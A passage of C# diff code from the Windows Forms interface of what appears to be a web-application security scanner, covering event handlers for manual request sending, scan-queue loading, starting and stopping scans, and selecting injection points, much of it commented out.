} + + void ShowSelectedShellLog() + { + if (ShellLogGrid.SelectedCells.Count < 1 || ShellLogGrid.SelectedCells[0].Value == null || ShellLogGrid.SelectedRows.Count == 0) + { + return; + } + IronLog.ShowLog(RequestSource.Shell, ShellLogGrid.SelectedCells[0].Value.ToString(), ShellLogGrid.SelectedRows[0].Index, false); + return; + } + + private void ScriptingShellRubyAPITree_AfterSelect(object sender, TreeViewEventArgs e) + { + this.ShellAPIDetailsRTB.Rtf = APIDoc.GetRbDecription(e.Node); + } + + private void PluginEditorRubyAPITree_AfterSelect(object sender, TreeViewEventArgs e) + { + this.PluginEditorAPIDetailsRTB.Rtf = APIDoc.GetRbDecription(e.Node); + } + + private void CustomSendPythonRB_CheckedChanged(object sender, EventArgs e) + { + if (CustomSendPythonRB.Checked) + { + this.ShowScriptedSendTemplateLL.Text = "Show sample Python script"; + this.CustomSendTopRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 ScriptedSend \b0 \cf0 (req):"; + this.CustomSendBottomRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;} \cf1 return \cf0 res"; + this.CustomSendActivateCB.Checked = false; + this.MTScriptedSendBtn.Enabled = false; + Directory.SetCurrentDirectory(Config.RootDir); + CustomSendTE.SetHighlighting("Python"); + } + } + + private void CustomSendRubyRB_CheckedChanged(object sender, EventArgs e) + { + if (CustomSendRubyRB.Checked) + { + this.ShowScriptedSendTemplateLL.Text = "Show sample Ruby script"; + this.CustomSendTopRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 scripted_send \b0 \cf0 (req)"; + this.CustomSendBottomRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;\red0\green0\blue255;} \cf1 return \cf0 res \par \cf2 end \cf0"; + this.CustomSendActivateCB.Checked = false; + this.MTScriptedSendBtn.Enabled = false; + Directory.SetCurrentDirectory(Config.RootDir); + CustomSendTE.SetHighlighting("Ruby"); + } + } + + private void MTScriptedSendBtn_Click(object sender, EventArgs e) + { + try + { + IronUI.ResetMTExceptionFields(); + ManualTesting.CurrentRequest = TestRequestView.GetRequest(); + if (ManualTesting.CurrentRequest == null) throw new Exception("Cannot sent invalid request"); + //IronUI.HandleAnyChangesInMTRequest(); + } + catch (Exception Exp) + { + IronUI.ShowMTException(Exp.Message); + return; + } + if (ManualTesting.CurrentRequest == null) + { + IronUI.ShowMTException("Invalid Request"); + return; + } + try + { + IronUI.ResetMTExceptionFields(); + ManualTesting.ResetChangedStatus(); + //ManualTesting.CurrentRequest.SSL = MTIsSSLCB.Checked; + ManualTesting.ScriptedSend(); + IronUI.StartMTSend(ManualTesting.CurrentRequestID); + } + catch (Exception Exp) + { + IronException.Report("Unable to Send 'Manual Testing' Request", Exp.Message, Exp.StackTrace); + IronUI.ShowMTException("Error sending Request"); + IronUI.EndMTSend(true); + } + } + + internal void CustomSendTE_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyData == Keys.Up || e.KeyData == Keys.Down || e.KeyData == Keys.Left || e.KeyData == Keys.Right || e.KeyData == Keys.PageUp || e.KeyData == Keys.PageDown || e.KeyData == Keys.Home || e.KeyData == Keys.End || e.KeyData == Keys.CapsLock || e.KeyData == Keys.LWin || e.KeyData == Keys.RWin) + { + return; + } + if (this.CustomSendActivateCB.Checked) + { + this.CustomSendActivateCB.Checked = false; + } + IronUI.ResetScriptedSendScriptExceptionFields(); + if(this.MTScriptedSendBtn.Enabled) + { + this.MTScriptedSendBtn.Enabled = false; + } + if (ManualTesting.ScriptedSendEnabled) + { + ManualTesting.ScriptedSendEnabled = false; + } + } + + private void MTStoredRequestBtn_Click(object sender, EventArgs e) + { + if (ManualTesting.HasStoredRequest()) + { + try + { + IronUI.UpdateManualTestingRequest(ManualTesting.GetStoredRequest()); + } + catch(Exception Exp) + { + IronException.Report("Error displaying 'Stored Request'", Exp.Message, Exp.StackTrace); + IronUI.ShowMTException("Unable to display 'Stored Request'"); + } + } + this.MTStoredRequestBtn.Enabled = ManualTesting.HasStoredRequest(); + } + + private void SelectForAutomatedScanningToolStripMenuItem_Click(object sender, EventArgs e) + { + IronLog.MarkForScanning(GetSource(), GetID()); + } + + private string GetSource() + { + switch (IronLog.SourceControl) + { + case ("ProxyLogGrid"): + return RequestSource.Proxy; + case ("ShellLogGrid"): + return RequestSource.Shell; + case ("TestLogGrid"): + return RequestSource.Test; + case ("ProbeLogGrid"): + return RequestSource.Probe; + case ("ScanLogGrid"): + return RequestSource.Scan; + case ("SiteMapLogGrid"): + string Source = SiteMapLogGrid.SelectedCells[1].Value.ToString(); + switch (Source) + { + case "Proxy": + return RequestSource.Proxy; + case "Test": + return RequestSource.Test; + case "Shell": + return RequestSource.Shell; + case "Probe": + return RequestSource.Probe; + case "Scan": + return RequestSource.Scan; + } + break; + case ("ResultsTriggersGrid"): + return RequestSource.Trigger; + case ("TestGroupLogGrid"): + return RequestSource.TestGroup; + case("OtherLogGrid"): + return IronLog.SelectedOtherSource; + case("LogOptionsBtn"): + return RequestSource.SelectedLogEntry; + case("ProxyOptionsBtn"): + return RequestSource.CurrentProxyInterception; + } + return RequestSource.Proxy; + } + + private string GetID() + { + switch (IronLog.SourceControl) + { + case ("ProxyLogGrid"): + return ProxyLogGrid.SelectedCells[0].Value.ToString(); + case ("ShellLogGrid"): + return ShellLogGrid.SelectedCells[0].Value.ToString(); + case ("TestLogGrid"): + return TestLogGrid.SelectedCells[0].Value.ToString(); + case ("ProbeLogGrid"): + return ProbeLogGrid.SelectedCells[0].Value.ToString(); + case ("ScanLogGrid"): + return ScanLogGrid.SelectedCells[0].Value.ToString(); + case ("SiteMapLogGrid"): + return SiteMapLogGrid.SelectedCells[0].Value.ToString(); + case ("ResultsTriggersGrid"): + string TrimmedTriggerVal = ResultsTriggersGrid.SelectedCells[0].Value.ToString(); + if (TrimmedTriggerVal.Equals("Normal")) + { + return "0"; + } + else + { + return TrimmedTriggerVal.Replace("Trigger", "").Trim(); + } + case ("TestGroupLogGrid"): + return TestGroupLogGrid.SelectedCells[1].Value.ToString(); + case ("OtherLogGrid"): + return OtherLogGrid.SelectedCells[0].Value.ToString(); + case("LogOptionsBtn"): + case ("ProxyOptionsBtn"): + return "0"; + } + return ""; + } + + private void ASQueueGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ASQueueGrid.SelectedCells.Count < 1 || ASQueueGrid.SelectedCells[0].Value == null) + { + return; + } + try + { + this.ASStartScanBtn.Enabled = false; + Scanner.ResetChangedStatus(); + IronUI.ResetConfigureScanFields(); + Thread T = new Thread(Scanner.LoadScannerFromDDAndFillAutomatedScanningTab); + T.Start(Int32.Parse(ASQueueGrid.SelectedCells[0].Value.ToString())); + } + catch(Exception Exp) + { + IronException.Report("Unable to load Request from Scan Queue DB", Exp.Message, Exp.StackTrace); + IronUI.ShowConfigureScanException("Unable to load Request"); + return; + } + + //try + //{ + // Scanner.CurrentScanID = Int32.Parse(ASQueueGrid.SelectedCells[0].Value.ToString()); + // Scanner.CurrentScanner = IronDB.GetScannerFromDB(Scanner.CurrentScanID); + //} + //catch(Exception Exp) + //{ + // IronException.Report("Unable to load Request from Scan Queue DB", Exp.Message, Exp.StackTrace); + // IronUI.ShowConfigureScanException("Unable to load Request"); + // return; + //} + //Scanner.CurrentScanner.OriginalRequest.Source = RequestSource.Scan; + //try + //{ + // IronUI.FillConfigureScanFullFields(Scanner.CurrentScanner.OriginalRequest); + // this.ASRequestTabs.SelectTab(0); + // IronUI.UpdateScanTabsWithRequestData(); + // ScanIDLbl.Text = "Scan ID: " + Scanner.CurrentScanID.ToString(); + // ScanStatusLbl.Text = "Scan Status: " + ScanStatus; + // Scanner.ResetChangedStatus(); + //} + //catch(Exception Exp) + //{ + // IronException.Report("Unable to display Request in 'Automated Scanning' section", Exp.Message, Exp.StackTrace); + // IronUI.ShowConfigureScanException("Unable to display request"); + // return; + //} + + //if (ASScanPluginsGrid.Rows.Count > 0) + //{ + // ASScanPluginsGrid.Rows[0].Cells[0].Value = false; + // foreach (DataGridViewRow Row in this.ASScanPluginsGrid.Rows) + // { + // if (Row.Index > 0) + // { + // Row.Cells[0].Value = Scanner.CurrentScanner.ShowChecks().Contains(Row.Cells[1].Value.ToString()); + // } + // } + // if (ASScanPluginsGrid.Rows.Count > 1) + // { + // bool AllSelected = true; + // for (int i = 1; i < ASScanPluginsGrid.Rows.Count; i++) + // { + // if (!(bool)ASScanPluginsGrid.Rows[i].Cells[0].Value) + // { + // AllSelected = false; + // break; + // } + // } + // if (AllSelected) ASScanPluginsGrid.Rows[0].Cells[0].Value = true; + // } + //} + + //this.ASSessionPluginsCombo.Items.Add(""); + //int SelectedSessionPluginID = -1; + //bool SelectedSessionPluginFound = false; + //foreach (string Name in SessionPlugin.List()) + //{ + // int ItemID = this.ASSessionPluginsCombo.Items.Add(Name); + // if (!SelectedSessionPluginFound) + // { + // if (Scanner.CurrentScanner.SessionHandler.Name.Equals(Name)) + // { + // SelectedSessionPluginID = ItemID; + // SelectedSessionPluginFound = true; + // } + // } + //} + + //if(SelectedSessionPluginID >= 0 ) this.ASSessionPluginsCombo.SelectedIndex = SelectedSessionPluginID; + //try + //{ + // FillInjectionsPointsinUI(Scanner.CurrentScanner); + //} + //catch (Exception Exp) + //{ + // IronException.Report("Error restoring 'Automated Scan' configuration information from DB", Exp.Message, Exp.StackTrace); + // IronUI.ShowConfigureScanException("Error retriving scan information"); + //} + + //if (ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Completed") || ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Running")) + //{ + // this.ASStartScanBtn.Text = "Scan Again"; + //} + //else if (ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Not Started") || ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Incomplete") || ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Aborted") || ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Stopped")) + //{ + // this.ASStartScanBtn.Text = "Start Scan"; + //} + //this.ASStartScanBtn.Enabled = true; + } + + //void FillInjectionsPointsinUI(Scanner Scanner) + //{ + // bool AllUlr = ASRequestScanURLGrid.Rows.Count > 0; + // foreach (DataGridViewRow Row in this.ASRequestScanURLGrid.Rows) + // { + // bool Result = Scanner.URLInjections.Contains(Row.Index); + // if (AllUlr) + // { + // AllUlr = Result; + // } + // Row.Cells[0].Value = Result; + // } + + // int SubParameterIndex = 0; + // string LastParameterName = ""; + + // bool AllQuery = ASRequestScanQueryGrid.Rows.Count > 0; + // foreach (DataGridViewRow Row in this.ASRequestScanQueryGrid.Rows) + // { + // string Name = Row.Cells[1].Value.ToString(); + // if (Name.Equals(LastParameterName)) + // { + // SubParameterIndex++; + // } + // else + // { + // SubParameterIndex = 0; + // } + // bool Result = Scanner.QueryInjections.Has(Name) && Scanner.QueryInjections.GetAll(Name).Contains(SubParameterIndex); + // if (AllQuery) + // { + // AllQuery = Result; + // } + // Row.Cells[0].Value = Result; + // LastParameterName = Name; + // } + + // SubParameterIndex = 0; + // LastParameterName = ""; + + // bool AllBody = ConfigureScanRequestBodyGrid.Rows.Count > 0; + // if (Scanner.BodyFormat.Name.Length == 0) + // { + // foreach (DataGridViewRow Row in this.ConfigureScanRequestBodyGrid.Rows) + // { + // string Name = Row.Cells[1].Value.ToString(); + // if (Name.Equals(LastParameterName)) + // { + // SubParameterIndex++; + // } + // else + // { + // SubParameterIndex = 0; + // } + // bool Result = Scanner.BodyInjections.Has(Name) && Scanner.BodyInjections.GetAll(Name).Contains(SubParameterIndex); + // if (AllBody) + // { + // AllBody = Result; + // } + // Row.Cells[0].Value = Result; + // LastParameterName = Name; + // } + // } + // else + // { + // foreach (DataGridViewRow Row in this.ConfigureScanRequestBodyGrid.Rows) + // { + // bool Result = Scanner.BodyXmlInjections.Contains(Row.Index); + // if (AllBody) + // { + // AllBody = Result; + // } + // Row.Cells[0].Value = Result; + // } + // } + + // SubParameterIndex = 0; + // LastParameterName = ""; + + // bool AllCookie = ASRequestScanCookieGrid.Rows.Count > 0; + // foreach (DataGridViewRow Row in this.ASRequestScanCookieGrid.Rows) + // { + // string Name = Row.Cells[1].Value.ToString(); + // if (Name.Equals(LastParameterName)) + // { + // SubParameterIndex++; + // } + // else + // { + // SubParameterIndex = 0; + // } + // bool Result = Scanner.CookieInjections.Has(Name) && Scanner.CookieInjections.GetAll(Name).Contains(SubParameterIndex); + // if (AllCookie) + // { + // AllCookie = Result; + // } + // Row.Cells[0].Value = Result; + // LastParameterName = Name; + // } + + // SubParameterIndex = 0; + // LastParameterName = ""; + + // bool AllHeaders = ASRequestScanHeadersGrid.Rows.Count > 0; + // foreach (DataGridViewRow Row in this.ASRequestScanHeadersGrid.Rows) + // { + // string Name = Row.Cells[1].Value.ToString(); + // if (Name.Equals(LastParameterName)) + // { + // SubParameterIndex++; + // } + // else + // { + // SubParameterIndex = 0; + // } + // bool Result = Scanner.HeadersInjections.Has(Name) && Scanner.HeadersInjections.GetAll(Name).Contains(SubParameterIndex); + // if (AllHeaders) + // { + // AllHeaders = Result; + // } + // Row.Cells[0].Value = Result; + // LastParameterName = Name; + // } + + // ASRequestScanAllCB.Checked = AllUlr && AllQuery && AllBody && AllCookie && AllHeaders; + // ASRequestScanURLCB.Checked = AllUlr; + // ASRequestScanQueryCB.Checked = AllQuery ; + // ASRequestScanBodyCB.Checked = AllBody; + // ASRequestScanCookieCB.Checked = AllCookie; + // ASRequestScanHeadersCB.Checked = AllHeaders; + //} + + private void ScanLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedScanLog(); + } + + void ShowSelectedScanLog() + { + if (ScanLogGrid.SelectedCells.Count < 1 || ScanLogGrid.SelectedCells[0].Value == null || ScanLogGrid.SelectedRows.Count == 0) + { + return; + } + IronLog.ShowLog(RequestSource.Scan, ScanLogGrid.SelectedCells[0].Value.ToString(), ScanLogGrid.SelectedRows[0].Index, false); + return; + } + + private void ASStartScanBtn_Click(object sender, EventArgs e) + { + try + { + try + { + if (this.ASStartScanBtn.Text.Equals("Start Scan")) + { + string ID = Scanner.CurrentScanID.ToString(); + foreach (DataGridViewRow Row in ASQueueGrid.Rows) + { + if (Row.Cells[0].Value.ToString().Equals(ID)) + { + if (Row.Cells[1].Value.ToString().Equals("Running")) + { + IronUI.ShowConfigureScanException("This ScanJob is already running"); + return; + } + } + } + } + else if (this.ASStartScanBtn.Text.Equals("Stop Scan")) + { + try + { + string Status = ASQueueGrid.SelectedCells[1].Value.ToString(); + if (Status.Equals("Running")) + { + int ScanID = Int32.Parse(ASQueueGrid.SelectedCells[0].Value.ToString()); + Scanner.ScanThreads[ScanID].Abort(); + } + this.ASStartScanBtn.Text = "Start Scan"; + } + catch(Exception Exp) + { + IronUI.ShowConfigureScanException("Unable to stop this scan"); + IronException.Report("Unable to Stop a Active Scan Job", Exp.Message, Exp.StackTrace); + } + return; + } + } + catch { } + //try + //{ + // IronUI.HandleAnyChangesInConfigureScanRequest(); + //} + //catch (Exception Exp) + //{ + // IronUI.ShowConfigureScanException(Exp.Message); + // return; + //} + if (Scanner.CurrentScanner == null) + { + IronUI.ShowConfigureScanException("No Scan Job selected"); + return; + } + if (Scanner.CurrentScanner.OriginalRequest == null) + { + IronUI.ShowConfigureScanException("No Scan Job selected"); + return; + } + + //string SelectedFormatPlugin = "None"; + //if (Scanner.CurrentScanner.BodyFormat.Name.Length > 0) SelectedFormatPlugin = Scanner.CurrentScanner.BodyFormat.Name; + + + //Scanner.CurrentScanner.URLInjections = new List(); + //if (this.ASRequestScanURLCB.Checked) + //{ + // Scanner.CurrentScanner.InjectURL(); + //} + //else + //{ + // for (int i = 0; i < this.ASRequestScanURLGrid.Rows.Count; i++) + // { + // if ((bool)this.ASRequestScanURLGrid.Rows[i].Cells[0].Value) + // { + // Scanner.CurrentScanner.InjectUrl(i); + // } + // } + //} + //Scanner.CurrentScanner.QueryInjections = new InjectionParameters(); + //if (this.ASRequestScanQueryCB.Checked) + //{ + // Scanner.CurrentScanner.InjectQuery(); + //} + //else + //{ + // int SubParameterPosition = 0; + // string ParameterName = ""; + // foreach (DataGridViewRow Row in this.ASRequestScanQueryGrid.Rows) + // { + // string CurrentParameterName = Row.Cells[1].Value.ToString(); + // if (ParameterName.Equals(CurrentParameterName)) + // { + // SubParameterPosition++; + // } + // else + // { + // ParameterName = CurrentParameterName; + // SubParameterPosition = 0; + // } + // if ((bool)Row.Cells[0].Value) + // { + // Scanner.CurrentScanner.InjectQuery(ParameterName, SubParameterPosition); + // } + // } + //} + + //if (ASBodyTypeNormalRB.Checked) + //{ + // if (this.ASRequestScanBodyCB.Checked) + // { + // Scanner.CurrentScanner.InjectBody(); + // } + // else + // { + // int SubParameterPosition = 0; + // string ParameterName = ""; + + // foreach (DataGridViewRow Row in this.ASRequestScanBodyTypeNormalGrid.Rows) + // { + // string CurrentParameterName = Row.Cells[1].Value.ToString(); + // if (ParameterName.Equals(CurrentParameterName)) + // { + // SubParameterPosition++; + // } + // else + // { + // ParameterName = CurrentParameterName; + // SubParameterPosition = 0; + // } + // if ((bool)Row.Cells[0].Value) + // { + // Scanner.CurrentScanner.InjectBody(ParameterName, SubParameterPosition); + // } + // } + // } + //} + //else if (ASBodyTypeFormatPluginRB.Checked) + //{ + // foreach (DataGridViewRow Row in this.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows) + // { + // if ((bool)Row.Cells[0].Value) + // { + // Scanner.CurrentScanner.InjectBody(Row.Index); + // } + // } + //} + //else if (ASBodyTypeCustomRB.Checked) + //{ + // if (ASRequestScanBodyCB.Checked) + // { + // Scanner.CurrentScanner.InjectBody(Scanner.CurrentScanner.CustomInjectionPointStartMarker, Scanner.CurrentScanner.CustomInjectionPointEndMarker); + // } + // else + // { + // Scanner.CurrentScanner.CustomInjectionPointStartMarker = ""; + // Scanner.CurrentScanner.CustomInjectionPointEndMarker = ""; + // } + //} + //else + //{ + // Scanner.CurrentScanner.BodyInjections = new InjectionParameters(); + // Scanner.CurrentScanner.CustomInjectionPointStartMarker = ""; + // Scanner.CurrentScanner.CustomInjectionPointEndMarker = ""; + // Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); + //} + //Scanner.CurrentScanner.CookieInjections = new InjectionParameters(); + //if (this.ASRequestScanCookieCB.Checked) + //{ + // Scanner.CurrentScanner.InjectCookie(); + //} + //else + //{ + // int SubParameterPosition = 0; + // string ParameterName = ""; + // foreach (DataGridViewRow Row in this.ASRequestScanCookieGrid.Rows) + // { + // string CurrentParameterName = Row.Cells[1].Value.ToString(); + // if (ParameterName.Equals(CurrentParameterName)) + // { + // SubParameterPosition++; + // } + // else + // { + // ParameterName = CurrentParameterName; + // SubParameterPosition = 0; + // } + // if ((bool)Row.Cells[0].Value) + // { + // Scanner.CurrentScanner.InjectCookie(ParameterName, SubParameterPosition); + // } + // } + //} + //Scanner.CurrentScanner.HeadersInjections = new InjectionParameters(); + //if (this.ASRequestScanHeadersCB.Checked) + //{ + // Scanner.CurrentScanner.InjectHeaders(); + //} + //else + //{ + // int SubParameterPosition = 0; + // string ParameterName = ""; + // foreach (DataGridViewRow Row in this.ASRequestScanHeadersGrid.Rows) + // { + // string CurrentParameterName = Row.Cells[1].Value.ToString(); + // if (ParameterName.Equals(CurrentParameterName)) + // { + // SubParameterPosition++; + // } + // else + // { + // ParameterName = CurrentParameterName; + // SubParameterPosition = 0; + // } + // if ((bool)Row.Cells[0].Value) + // { + // Scanner.CurrentScanner.InjectHeaders(ParameterName, SubParameterPosition); + // } + // } + //} + + //if ((Scanner.CurrentScanner.URLInjections.Count + Scanner.CurrentScanner.QueryInjections.Count + Scanner.CurrentScanner.BodyInjections.Count + Scanner.CurrentScanner.BodyXmlInjections.Count + Scanner.CurrentScanner.GetCustomInjectionPointsCount() + Scanner.CurrentScanner.CookieInjections.Count + Scanner.CurrentScanner.HeadersInjections.Count) == 0) + //{ + // IronUI.ShowConfigureScanException("No Injection Points Selected or Available!"); + // return; + //} + + //StringBuilder ScanPluginsBuilder = new StringBuilder(); + //foreach (DataGridViewRow Row in ASScanPluginsGrid.Rows) + //{ + // if (Row.Index > 0) + // { + // if ((bool)Row.Cells[0].Value) + // { + // string PluginName = Row.Cells[1].Value.ToString(); + // Scanner.CurrentScanner.AddCheck(PluginName); + // ScanPluginsBuilder.Append(PluginName); + // ScanPluginsBuilder.Append(","); + // } + // } + //} + //string SelectedScanPlugins = ScanPluginsBuilder.ToString().TrimEnd(new char[] { ',' }); + //if (Scanner.CurrentScanner.ShowChecks().Count == 0) + //{ + // IronUI.ShowConfigureScanException("No Plugin Selected!"); + // return; + //} + ////string SelectedSessionPlugin = "None"; + ////if (ASSessionPluginsCombo.SelectedItem != null) + ////{ + //// string SessionPluginName = this.ASSessionPluginsCombo.SelectedItem.ToString(); + //// if (SessionPluginName.Length > 0) + //// { + //// Scanner.CurrentScanner.SessionHandler = SessionPlugin.Get(SessionPluginName); + //// SelectedSessionPlugin = SessionPluginName; + //// } + ////} + + //if (Scanner.CurrentScanner.ShowChecks().Count == 0) + //{ + // IronUI.ShowConfigureScanException("No Plugin Selected!"); + // return; + //} + + if (ASStartScanBtn.Text.Equals("Start Scan")) + Scanner.CurrentScanner.StartScan(); + else + Scanner.CurrentScanner.LaunchScan(); + + Scanner.CurrentScanner = null; + Scanner.CurrentScanID = 0; + this.ASStartScanBtn.Text = "Scan"; + Scanner.ResetChangedStatus(); + IronUI.ResetConfigureScanFields(); + ScanDisplayPanel.Visible = false; + ScanTopPanel.Visible = true; + ScanJobsBaseSplit.SplitterDistance = 62; + } + catch(Exception Exp) + { + IronException.Report("Error starting a configured scan", Exp.Message, Exp.StackTrace); + } + } + + //private void ASScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (ASScanPluginsGrid.SelectedCells.Count < 1 || ASScanPluginsGrid.SelectedCells[0].Value == null) + // { + // return; + // } + // if (this.ASScanPluginsGrid.SelectedRows[0].Index == 0) + // { + // bool AllValue = !(bool)this.ASScanPluginsGrid.SelectedCells[0].Value; + // this.ASScanPluginsGrid.SelectedCells[0].Value = AllValue; + // foreach (DataGridViewRow Row in this.ASScanPluginsGrid.Rows) + // { + // if (Row.Index > 0) + // { + // Row.Cells[0].Value = AllValue; + // } + // } + // return; + // } + // if ((bool)this.ASScanPluginsGrid.SelectedCells[0].Value) + // { + // this.ASScanPluginsGrid.SelectedCells[0].Value = false; + // this.ASScanPluginsGrid.Rows[0].SetValues(new object[]{false, "All"}); + // } + // else + // { + // this.ASScanPluginsGrid.SelectedCells[0].Value = true; + // } + //} + + //private void ASRequestScanAllCB_Click(object sender, EventArgs e) + //{ + // CheckAllASRequestInjections(); + //} + + //private void CheckAllASRequestInjections() + //{ + // this.ASRequestScanURLCB.Checked = this.ASRequestScanAllCB.Checked; + // this.CheckAllASRequestScanURLGridRows(); + // this.ASRequestScanQueryCB.Checked = this.ASRequestScanAllCB.Checked; + // this.CheckAllASRequestScanQueryGridRows(); + // this.ASRequestScanBodyCB.Checked = this.ASRequestScanAllCB.Checked; + // this.CheckAllASRequestScanBodyGridRows(); + // this.ASRequestScanCookieCB.Checked = this.ASRequestScanAllCB.Checked; + // this.CheckAllASRequestScanCookieGridRows(); + // this.ASRequestScanHeadersCB.Checked = this.ASRequestScanAllCB.Checked; + // this.CheckAllASRequestScanHeadersGridRows(); + //} + + private void ASRequestScanURLCB_Click(object sender, EventArgs e) + { + this.CheckAllASRequestScanURLGridRows(); + if (!this.ASRequestScanURLCB.Checked) + { + if (this.ASRequestScanAllCB.Checked) + { + this.ASRequestScanAllCB.Checked = false; + } + } + } + private void CheckAllASRequestScanURLGridRows() + { + foreach (DataGridViewRow Row in this.ASRequestScanURLGrid.Rows) + { + Row.Cells[0].Value = this.ASRequestScanURLCB.Checked; + } + } + private void ASRequestScanQueryCB_Click(object sender, EventArgs e) + { + this.CheckAllASRequestScanQueryGridRows(); + if (!this.ASRequestScanQueryCB.Checked) + { + if (this.ASRequestScanAllCB.Checked) + { + this.ASRequestScanAllCB.Checked = false; + } + } + } + private void CheckAllASRequestScanQueryGridRows() + { + foreach (DataGridViewRow Row in this.ASRequestScanQueryGrid.Rows) + { + Row.Cells[0].Value = this.ASRequestScanQueryCB.Checked; + } + } + //private void ASRequestScanBodyCB_Click(object sender, EventArgs e) + //{ + // this.CheckAllASRequestScanBodyGridRows(); + // if (!this.ASRequestScanBodyCB.Checked) + // { + // if (this.ASRequestScanAllCB.Checked) + // { + // this.ASRequestScanAllCB.Checked = false; + // } + // } + //} + //private void CheckAllASRequestScanBodyGridRows() + //{ + // if (ASBodyTypeNormalRB.Checked) + // { + // foreach (DataGridViewRow Row in this.ASRequestScanBodyTypeNormalGrid.Rows) + // { + // Row.Cells[0].Value = this.ASRequestScanBodyCB.Checked; + // } + // } + // if (ASBodyTypeFormatPluginRB.Checked) + // { + // foreach (DataGridViewRow Row in this.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows) + // { + // Row.Cells[0].Value = this.ASRequestScanBodyCB.Checked; + // } + // } + // if (ASBodyTypeCustomRB.Checked) + // { + // ASRequestScanBodyCB.Checked = false; + // IronUI.ShowConfigureScanException("For custom injection markers press 'Apply' next to the injection marker textbox."); + // } + //} + private void ASRequestScanCookieCB_Click(object sender, EventArgs e) + { + this.CheckAllASRequestScanCookieGridRows(); + if (!this.ASRequestScanCookieCB.Checked) + { + if (this.ASRequestScanAllCB.Checked) + { + this.ASRequestScanAllCB.Checked = false; + } + } + } + private void CheckAllASRequestScanCookieGridRows() + { + foreach (DataGridViewRow Row in this.ASRequestScanCookieGrid.Rows) + { + Row.Cells[0].Value = this.ASRequestScanCookieCB.Checked; + } + } + private void ASRequestScanHeadersCB_Click(object sender, EventArgs e) + { + this.CheckAllASRequestScanHeadersGridRows(); + if (!this.ASRequestScanHeadersCB.Checked) + { + if (this.ASRequestScanAllCB.Checked) + { + this.ASRequestScanAllCB.Checked = false; + } + } + } + private void CheckAllASRequestScanHeadersGridRows() + { + foreach (DataGridViewRow Row in this.ASRequestScanHeadersGrid.Rows) + { + Row.Cells[0].Value = this.ASRequestScanHeadersCB.Checked; + } + } + + //private void ASRequestScanURLGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (ASRequestScanURLGrid.SelectedCells.Count < 1 || ASRequestScanURLGrid.SelectedCells[0].Value == null) + // { + // return; + // } + // if ((bool)this.ASRequestScanURLGrid.SelectedCells[0].Value) + // { + // this.ASRequestScanURLGrid.SelectedCells[0].Value = false; + // this.ASRequestScanAllCB.Checked = false; + // this.ASRequestScanURLCB.Checked = false; + // } + // else + // { + // this.ASRequestScanURLGrid.SelectedCells[0].Value = true; + // } + //} + + //private void ASRequestScanQueryGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (ASRequestScanQueryGrid.SelectedCells.Count < 1 || ASRequestScanQueryGrid.SelectedCells[0].Value == null) + // { + // return; + // } + // if ((bool)this.ASRequestScanQueryGrid.SelectedCells[0].Value) + // { + // this.ASRequestScanQueryGrid.SelectedCells[0].Value = false; + // this.ASRequestScanAllCB.Checked = false; + // this.ASRequestScanQueryCB.Checked = false; + // } + // else + // { + // this.ASRequestScanQueryGrid.SelectedCells[0].Value = true; + // } + //} + + //private void ASRequestScanBodyGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells.Count < 1 || ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells[0].Value == null) + // { + // return; + // } + // if ((bool)this.ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells[0].Value) + // { + // this.ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells[0].Value = false; + // this.ASRequestScanAllCB.Checked = false; + // this.ASRequestScanBodyCB.Checked = false; + // } + // else + // { + // this.ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells[0].Value = true; + // } + //} + + //private void ASRequestScanCookieGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (ASRequestScanCookieGrid.SelectedCells.Count < 1 || ASRequestScanCookieGrid.SelectedCells[0].Value == null) + // { + // return; + // } + // if ((bool)this.ASRequestScanCookieGrid.SelectedCells[0].Value) + // { + // this.ASRequestScanCookieGrid.SelectedCells[0].Value = false; + // this.ASRequestScanAllCB.Checked = false; + // this.ASRequestScanCookieCB.Checked = false; + // } + // else + // { + // this.ASRequestScanCookieGrid.SelectedCells[0].Value = true; + // } + //} + + //private void ASRequestScanHeadersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (ASRequestScanHeadersGrid.SelectedCells.Count < 1 || ASRequestScanHeadersGrid.SelectedCells[0].Value == null) + // { + // return; + // } + // if ((bool)this.ASRequestScanHeadersGrid.SelectedCells[0].Value) + // { + // this.ASRequestScanHeadersGrid.SelectedCells[0].Value = false; + // this.ASRequestScanAllCB.Checked = false; + // this.ASRequestScanHeadersCB.Checked = false; + // } + // else + // { + // this.ASRequestScanHeadersGrid.SelectedCells[0].Value = true; + // } + //} + + //private void ASSessionPluginsCombo_SelectionChangeCommitted(object sender, EventArgs e) + //{ + // this.ASScanPluginsGrid.Focus(); + //} + + private void UpdateBodyGridForFormat(FormatPlugin Plugin, bool CheckStatus) + { + ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); + string XmlString = Plugin.ToXml(Scanner.CurrentScanner.OriginalRequest.BodyArray); + ConfigureScanRequestFormatXMLTB.Text = XmlString; + string[,] InjectionPoints = FormatPlugin.XmlToArray(XmlString); + for (int i = 0; i < 